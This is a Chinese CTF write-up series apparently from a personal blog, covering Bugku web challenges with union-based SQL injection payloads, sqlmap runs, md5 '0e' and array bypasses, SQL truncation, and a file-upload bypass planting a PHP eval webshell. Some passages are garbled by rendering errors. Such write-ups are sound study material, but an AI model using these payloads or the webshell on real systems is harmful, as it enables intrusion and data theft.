这里是Bugku的CTF题目(主流情况下我一般都只会玩攻防世界的,难度稍微大一些,我之前的笔记分类有详细分成基础篇和高手篇写了writeup,感兴趣的可以去看看) 所用环境以及做题思路只在当时写下writeup时适用,若之后做出改动可与我联系,做出相应更改。 作者:李世荣 转载请标明出处。 19.web16 题目提示备份是个好习惯,打开环境
打开一串看不懂的东西
提示说到“备份”,可能是备份文件泄露,于是用了一个php代码泄露检测的小工具SourceLeakHacker
工具下载网址:https://github.com/WangYihang/SourceLeakHacker
命令:python SourceLeakHacker.py --url=http://114.67.246.176:12698 --threads=4 --timeout=8
扫到了3个可用的,分别为:
http://123.206.87.240:8002/web16/flag.php
http://123.206.87.240:8002/web16/index.php
http://123.206.87.240:8002/web16/index.php.bak
尝试以下范围flag.php ,无内容
然后访问index.php.bak
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php"; #包含flag.php文件
ini_set("display_errors", 0); #不返回错误信息
$str = strstr($_SERVER['REQUEST_URI'], '?'); #判断url是否有问号,有就将url赋值给str
$str = substr($str,1); #将第一位字符后面的值赋给str,也就是问号后的值
$str = str_replace('key','',$str); #将str里的字符key替换为空
parse_str($str); #解析字符串
echo md5($key1); #输出md5加密后的key1
echo md5($key2); #输出md5加密后的key1
if(md5($key1) == md5($key2) && $key1 !== $key2){ #if判断条件为,md5加密后的key1和key2相等,且key1不等于key2
echo $flag."取得flag"; #输出flag
}
?>
从代码得知,要取得flag,md5 加密后的key1和key2值要相等 这时需要知道以下几个点: 1.php弱类型,当 == 在进行比较的时候,会先将字符串类型转化成相同,再比较。 2.PHP在处理哈希字符串时后,会把0E开头的哈希值解释为0。这时去对比,就会相等 这里列出几个0e开头的md5值:
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
知道了这些条件,然后我们就开始尝试获取 flag 我们需要传入key1,key2两个参数,由以上分析得知需要双写key绕过 构造url (注:url传入多个参数用 & 隔开) http://114.67.246.176:12698//?kkeyey1=s878926199a&kkeyey2=s155964671a
拿到flag。 md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。 payload: ?kkeyey1[]=1&kkeyey2[]=2 也可以拿到flag。 这道题出的不错,又扩充了一些知识点。
题目描述说是来自山科大的ctf,生在大西北甘肃的我,也瞅瞅这是啥题。
输入发现只有输入”1,2,3”才有反应,检查一下元素。依然没什么发现,现在需要脑洞大开了,到底想让我们干什么呢。 按以往经验来看,这应该是表单类型,是一道SQl注入类型题。 先测试正常数据,用hackbar插件进行post请求,一切正常
加上单引号'则数据为空
但是再加上#就又正常
由此可知有SQL注入漏洞
加上单引号可以判断是否是单引号闭合
如果在结尾再加上一个单引号,就构成了双引号闭合,截断了原有的代码
闭合后剩余内容会作为sql语句来执行
添加#是将原有的被截断的代码注释掉
在sql中注释符是#或者-- ,后者在GET传参中表示为—+
然后尝试获取列数,因为已经有名字和三科成绩了,所以就测试4或者更高
先从4开始吧,构造id=1' order by 4#,正常回显
继续,但构造id=1' order by 5#时,没有正常回显
所以列数是4列 尝试联合查询,记得把前面的查询数据置空,即id等于除了1,2,3以外的任何数 具体做法是id=0' union select 1,2,3,4# 显示正常,说明确确实实存在这四列数据
下面我们开始猜解数据库名,数据库的用户,数据库的版本 没有顺序可言,把第1列留出来只是因为表单看起来顺眼而已 具体做法是id=0' union select 4545945,database(),user(),version()#
根据数据库skctf_flag去查询表名 具体做法是id=0' union select 4545945,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user(),version()#
这个select group_concat(table_name) from information_schema.tables where table_schema=database(),
可以暂且把它当作一个用来查询表名的固定格式
知识补充:union select 手工注入
mysql中的information_schema 结构用来存储数据库系统信息
information_schema 结构中这几个表存储的信息,在注射中可以用到的几个表
SCHEMATA 存储数据库名的,
关键字段:SCHEMA_NAME,表示数据库名称
TABLES 存储表名的
关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示表的名称
COLUMNS 存储字段名的
关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示所属的表的名称
COLUMN_NAME表示字段名
爆所有数据名
select group_concat(SCHEMA_NAME) from information_schema.schemata
得到当前库的所有表
select group_concat(table_name) from information_schema.tables where table_schema=database()
得到表中的字段名(列名) 将敏感的表进行16进制编码adminuser=0x61646D696E75736572
select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E75736572
得到字段(列)具体的值 select group_concat(username,0x3a,password) from adminuser
group_concat()函数是将数据作为字符串输出,中间以:间隔开(因为0x3a是:的16进制ascii码)
上一步得到了表名fl4g和sc,flag应该藏在fl4g里面
根据fl4g表去查询字段名(列名)
根据知识补充里的指令,我们应该用select group_concat(column_name) from information_schema.columns where table_name=0x666c3467
觉得16进制麻烦也可以用单引号select group_concat(column_name) from information_schema.columns where table_name='fl4g'
因此构造id=0' union select 4545945,(select group_concat(column_name) from information_schema.columns where table_name='fl4g'),user(),version()#
得到字段名(列名)skctf_flag
尝试获取字段(列)中的数据
根据知识补充里的指令,我们应该用select group_concat(skctf_flag) from fl4g
或者可以用更简便的表达select skctf_flag from fl4g
因此构造id=0' union select 4545945,(select group_concat(skctf_flag) from fl4g),user(),version()#
或者id=0' union select 4545945,(select skctf_flag from fl4g),user(),version()#
得到flag,这道题心好累,果然开始有难度了吗。
PS:这里我扩充一下关于SQL注入的知识点,在ctf的web题目中常常可以看见相关的考点。
后面我也会专门分出来单独说一下。
什么是SQL注入
简而言之:SQL注入用户输入的数据变成了代码被执行。
这道题系统的用知识点来覆盖一下,并解释说明每一步的具体操作。
首先判断sql语句闭合方式
当在id的值后面加上'时,界面无回显,可以判断后端的sql语句应该是
select xxxx from xxxx where id = 'input_id' [xxxx]
或者是这样的
select xxxx from xxxx where id = ('input_id') [xxxx]
在id = 1'的值后面加上注释符#之后发现界面正常显示,所以可以断定sql语句的形式是id = 'input_id'。
常用的闭合方式还用id = "input_id",id = ("input_id"),id = ('input_id’)等等
具体是哪一种只能看程序猿的写法。
判断返回的列数
可以使用order by子句判断返回的列数。当构造post参数中的order by为5时
界面无回显、值为4时有回显。所以后端返回的列数应该是4。
id=1' order by 5 #
判断后端返回的前端显示的格式
id=-1' union select 1,2,3,4 #
知道返回的列名之后,就可以执行后继的操作和查询各种数据了。 比如查询当前的数据库名和当前的用户名以及当前的sql版本号 id=-1' union select 1,database(),user(),version() #
注入出当前数据库所有的表名 id=-2' union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=database())#
注入出某一个表名的全部 id=-2' union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name='fl4g')
到目前为止已经能查询数据库名称、登陆数据库的用户名称、当前数据库的所有表名、某一个表中的全部字段名称等等数据。例如在数据表fl4g中的全部的列名只有一个skctf_flag。那么怎样查询字段内容呢?请看下面的 注入出字段内容 利用前面注入出的信息,包括表名,列名,就可以查询字段内容了 id=-2' union select 1,2,3,(select skctf_flag from fl4g) #
sqlmap 注入
sqlmap 一款用来检测与利用SQL注入漏洞的免费开源工具神器。
使用sqlmap可以帮助我们更快更好更方便的进行注入,优点有很多,缺点就是再好的工具永远都是工具。使用sqlmap进行注入的步骤和手工收入基本一致。
这道题的环境是POST方式请求,如果是GET方法则可以跳过这部。
首先使用抓包工具将界面的正常请求保存至一个文件中:post_sqli.txt
使用sqlmap工具检测是否可以注入和获取基础信息
$ sqlmap -r post_sqli.txt
第一次链接失败,应该是抓包不对,这里再改一下,再试试。
执行结果:
---
Parameter: id (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=1' AND SLEEP(5) AND 'ShhA'='ShhA
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: id=-2292' UNION ALL SELECT CONCAT(0x716b716b71,0x45784b6e4e78446d737053476e4c4875704c6a58414e444171676264674f634d436c506f554d636b,0x71766a7671),NULL,NULL,NULL-- EKPR
---
获取所有的数据库名:
sqlmap -r post_sqli.txt --dbms=mysql --dbs
由于前一步已经确定数据库的类型已经版本号,可以添加参数--dbms=mysql,使得sqlmap只进行与mysql相关的测试。
执行结果节选
available databases [2]:
[*] information_schema
[*] skctf_flag
获取据库某一个表中所有的表名
$ sqlmap -r post_sqli.txt --dbms=mysql -D skctf_flag --table
执行结果节选
Database: skctf_flag
[2 tables]
+------+
| fl4g |
| sc |
+———+
获取所有的列名
$ sqlmap -r post_sqli.txt --dbms=mysql -D skctf_flag -T fl4g --columns
执行结果节选
Database: skctf_flag
Table: fl4g
[1 column]
+------------+-------------+
| Column | Type |
+------------+-------------+
| skctf_flag | varchar(64) |
+------------+-------------+
获取字段值
$ sqlmap -r post_sqli.txt --dbms=mysql -D skctf_flag -T fl4g -C fl4g --dump
21.web18
题目描述是:秋名山车神,好家伙直接来了兴致,开环境,办它
好家伙这么大的数字我这怎么算,计算机算,试试看。
但是题目让我们在2秒之内计算出结果,那我们常规方法肯定是不行的,不如去试试写个脚本。
脚本如下:
import requests
import re
url = '''http://114.67.246.176:16276/'''
s = requests.session() #//用session会话保持表达式是同一个
retuen = s.get(url)
equation = re.search(r'(\d+[+\-*])+(\d+)', retuen.text).group()
result = eval(equation) # //eval() 函数用来执行一个字符串表达式,并返回表达式的值。
key = {'value': result}
print(s.post(url, data=key).text)
直接搞定,骑上我心爱的小摩托~它永远不会堵车~ 22.web19
题目提示速度要快,难道前一道题的速度还不够快吗,打开环境看看内容。
好家伙,打开环境就输了,我眼睛都没有眨呢。
源码给了一点提示:让我们用post方法提交一个margin数据,但是提交了没有反应,于是开始搜索其他可能。
等等,这个是什么???flag?
尝试输入,发现不对,猜测应该与上一道题类似,要写个脚本跑一下,来吧展示。
import base64
import bs4,requests
url='http://114.67.246.176:16907/' #指定url
req2=requests.Session()#开启一个会话
ht = req2.get(url)
temp = base64.b64decode(ht.headers['flag']).decode()#base64解码请求头中的flag参数
flag=temp.replace("跑的还不错,给你flag吧: ","")#把修饰语删除
flag=base64.b64decode(flag).decode()#竟然还要解码一次!!!不看wp真没想到ε=(´ο`*)))唉
d={"margin":flag}#构造post数据
r = req2.post(url, data=d)#data属性提交post参数
print(r.text)#打印
脚本里如果没有用session,速度会慢。(保持会话的话,可以保持TCP,一次建立,多次交互,交互完了再关闭TCP连接,如果不保持的话,每次都要建立和关闭TCP连接,会慢) (所以以后,尽量用request.session吧)
import requests
import base64
s = requests.session()
payload = { 'Cookie' : 'PHPSESSID=cltuu48l76egftke0b725e8560'}
url = "http://114.67.246.176:16907/"
ret = s.get( url , params = payload)
flag = ret.headers['flag'] # base64
flag = base64.b64decode(flag) # binary
print(flag)
flag = flag[-9:]
print(flag)
flag = base64.b64decode(flag)
print(flag)
res = s.post(url,{'margin':flag})
print(res.text)
(1)每次做题前习惯性的扫下后台,反正也花不了多少时间。
(2)仔细看html源代码,思考提示。
(3)仔细查看request和response。
(4)要对各种编码敏感(哈哈,又有新的学习内容了)
(5)这种得到的信息不断变化的情况(例如本题中给的flag),要考虑后续用脚本操作了。
23.web20
题目提示cookies欺骗,这种类型的题慢慢对基础知识的需求逐渐提升了,大家可以去看看计算机网络,提前学或者温习都是不错的选择。
给了一长串,url也给了提示信息,但是不知道用来干嘛的,先看看请求头里面的cookie
除了cooike,还有URL里面的filename,有'=',应该是base64,丢进去看看
keys.txt。这个文件看到就懵了,不按常规来,但是题目又说到cookie欺骗,那有没有可能,这个filename也是欺骗呢,如果换成index.php.替换一下会是如何呢。试试看。
什么也没有,如果这里给line传参,规定一下行数呢?
看来是有了,现在想办法把所有的代码都显示出来。
和上面题一样,还是用requests.session()
import requests
rs = requests.session()
for i in range(1, 21): #这里视情况而定,直至全部显示。
url = 'http://114.67.246.176:18387/index.php?line={}&filename=aW5kZXgucGhw'.format(i)
rsg = rs.get(url)
print(rsg.text)
至此,我们的目标网址应该是: http://114.67.246.176:13972/index.php?line=&filename=a2V5cy5waHA= (filename替换为keys.php的base64加密后的内容)
这里我是用hacker上传发现不行,这个好奇怪啊,为什么不行呢。于是又开始写脚本。
拿到flag。
24.web21这道题目没有给任何提示,说作者是御结冰城
查看源码,发现要求一个页面命名为”1p.html”,那我们就访问一下
在页面中发现了一串特殊字符,放到Burp Suite里解码一下,得到下面的内容。
再用URL解码一下,得到了一串网页代码,放到Vscode里面看看。
我们简单读一下这段代码
data=="bugku is a nice plateform!id==0与if(!GET('id')矛盾,利用id==0与if(!GET('id’)矛盾用id=0e123456绕过,id为字符也是可以的。用b开头不能为4,所以我令,b=*123456构造http://114.67.246.176:17806?id=0e123456&a=php://input&b=%00123456
25.web22题目描述:送给大家一个过狗一句话 You can't use 'macro parameter character #' in math modeYou can't use 'macro parameter character #' in math modepoc_1=explodeYou can't use 'macro parameter character #' in math mode
poc); poc_2=poc_1[0].poc_1[1].poc_1[2].poc_1[3].poc_1[4].poc_1[5]; poc_2(_GET['s'])
打开环境,里面什么都是空的,源码也什么都没有,但是给的这句话很有意思,下面有请李师傅的面向writeup解题思路。其整体的意思是:检查 get 得到的断言是否成立(用来判断一个表达式是否成立),参数会被执行
<?
assert($_GET['s']);
?>
也就是这样,assert()是断言函数,所以一句话直接执行。
26.web23 题目提示:字符?正则?
trim() 移除字符串两侧的字符 preg_match() 搜索给定的正则表达式的一个匹配
27.web24
这道题似曾相识,这就是四叶草办的校赛。
28.web25
考点:hint:SQL约束攻击
这种题已经很眼熟了,直接搞它。
注册普通账号登录提示无权限,注册账号名为admin是发现账号存在
这里扩充一下知识点:
知识点:基于约束的sql攻击
在INSERT中,SQL会根据varchar(n)来限制字符串的最大长度。如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。
在SQL中执行字符串处理时,字符串末尾的空格符将会被删除(结合上面的这里应该就可以构造出payload了)。
我们尝试按以上方式注册一个账号试试看:
用户名为“admin (大概到这里)”
密码Aa12345678
理解一下所谓的sql约束攻击
SQL约束攻击:在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”,对于绝大多数情况来说都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)例如以下语句的查询结果,与使用用户名“vampire”进行查询时的结果是一样的。 SELECT * FROM users WHERE username=‘vampire ‘; 但也存在异常情况,最好的例子就是LIKE子句了。注意,对尾部空白符的这种修剪操作,主要是在“字符串比较”期间进行的。这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。 在所有的INSERT查询中,SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。比如特定列的长度约束为“5”个字符,那么在插入字符串“vampire”时,实际上只能插入字符串的前5个字符,即“vampi”。
29.web26
提示:google
30.web27
描述: md5 collision
提示让输入一个a
但是我们用GET传入一个a的参数时,报错。 显然需要md5碰撞,再传参数。 如果md5的值是以0e开头的,那么就与其他的0e开头的md5值是相等的,这里给大家列举一些:
0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
总结: 1、php使用==比较数字和字符串时,将字符串转换成数字后与数字进行比较。 2、php字符串转换成数字的规则是: 字符串以数字开头:取前面的数字 字符串不以数字开头:0 3、如果==两侧的字符串都是以0e开头,并且后面还是数字,就会被解释成科学计数法,也就是0的多少多少次幂,也就是后面的数字无论是多少,最后结果都为0. 4、以0e开头的字符串很危险!!!
构造并上传payload:http://example.com/?a=s878926199a(之前举例的md5值以0e开头的字符串均可作为本题的payload) 31.web28
提示:请从本地访问
网页源码什么也没有,直接用BurpSuite
32.web29
提示:各种绕过
GET传参的方式 写过了之前的绕过,这道题应该不算什么了 1.uname和passwd的值不能相同 2.uname和passwd的sha1()值要相同 3.id的值为margin 要想uname和passwd的sha1值相同比较困难 我们用另一种思路,给这函数传入一个错误的类型,使函数返回错误的值,令这个条件成立
Payload: ?id=margin&uname[]=111 后面的&用法相当于&& 然后get传入id和uname,post传passwd
Pytohn脚本:
33.web30
描述:txt????
extract() 函数从数组中将变量导入到当前的符号表。 empty() 判断一个变量是否被认为是空的。当一个变量并不存在,或者它的值等同于 FALSE,那么它会被认为不存在。如果变量不存在的话,empty()并不会产生警告。 file_get_contents() 函数把整个文件读入一个字符串中 trim() 函数移除字符串两侧的空白字符或其他预定义字符 34.web31
题目提示:好像需要管理员
打开显示404,点击try again也米有用。
没啥思路,用BurpSuite的Spider扫一下,发现了robots.txt,resusl.php。我们分别看看这两个文件。
由于有if判断语句,目前没有设GET参数id,这个页面应该是不符合if正确的,由于有个x和password对比,猜测一下可能是判断是不是管理员,传参id=admin。
35.web32
考察:文件上传
只能上传图像,不能上传PHP文件,那应该是寻找漏洞上传PHP文件
PHP文件里写入一句话木马:
<?php @eval($_POST[caidao]);?>
用BurpSuite抓包看看。
然后抓包修改后缀,无效,应该是后端验证
接着修改请求包,文件类型等
不可以上传 php文件 说明存在过滤一共三个过滤 1.请求头部的 Content-Type 2.文件后缀 3.请求数据的Content-Type
上传的文件可以为任意文件,内容也可以是任意的,内容也可以为空 请求头部的 Content-Type 内容 随便改个大写字母过滤掉 比如 mulTipart/form-data 所上传的文件后缀 改为 .php4(依次尝试php4,phtml,phtm,phps,php5(包括一些字母改变大小写)) 请求数据的Content-Type 内容改为 image/jpeg
我们用蚁剑链接
连接失败,应该是文件没有上传成功,我们重新来。
直接上传shell,显示我被抓了哈哈哈哈。 那我就换成1.jpg,这下好了吧,用BurpSuite抓包看看。
搞定。哈哈哈哈哈哈差点被抓了 36.web33
这道题目没有在线环境,给了我们一个字符串作为提示,又给一个附件,那我们来看看都有些什么内容。
可以根据加密的方式,写一个解密脚本,在线解密一下。
直接得到flag。